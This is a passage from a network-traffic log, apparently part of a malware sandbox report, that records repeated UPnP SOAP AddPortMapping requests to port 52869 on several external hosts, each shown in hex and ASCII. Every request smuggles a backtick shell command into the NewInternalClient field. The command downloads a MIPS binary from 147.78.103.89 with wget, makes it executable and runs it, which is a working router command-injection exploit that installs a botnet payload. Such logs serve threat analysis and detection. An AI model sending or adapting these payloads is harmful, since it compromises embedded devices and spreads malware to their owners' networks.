61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:15.318818092 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:27.350490093 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      174192.168.2.153464245.33.253.10552869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:08.469713926 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      175192.168.2.155322245.192.215.19152869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:11.000960112 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:15.062796116 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:21.206629038 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      176192.168.2.155322645.192.215.19152869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:11.354094028 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 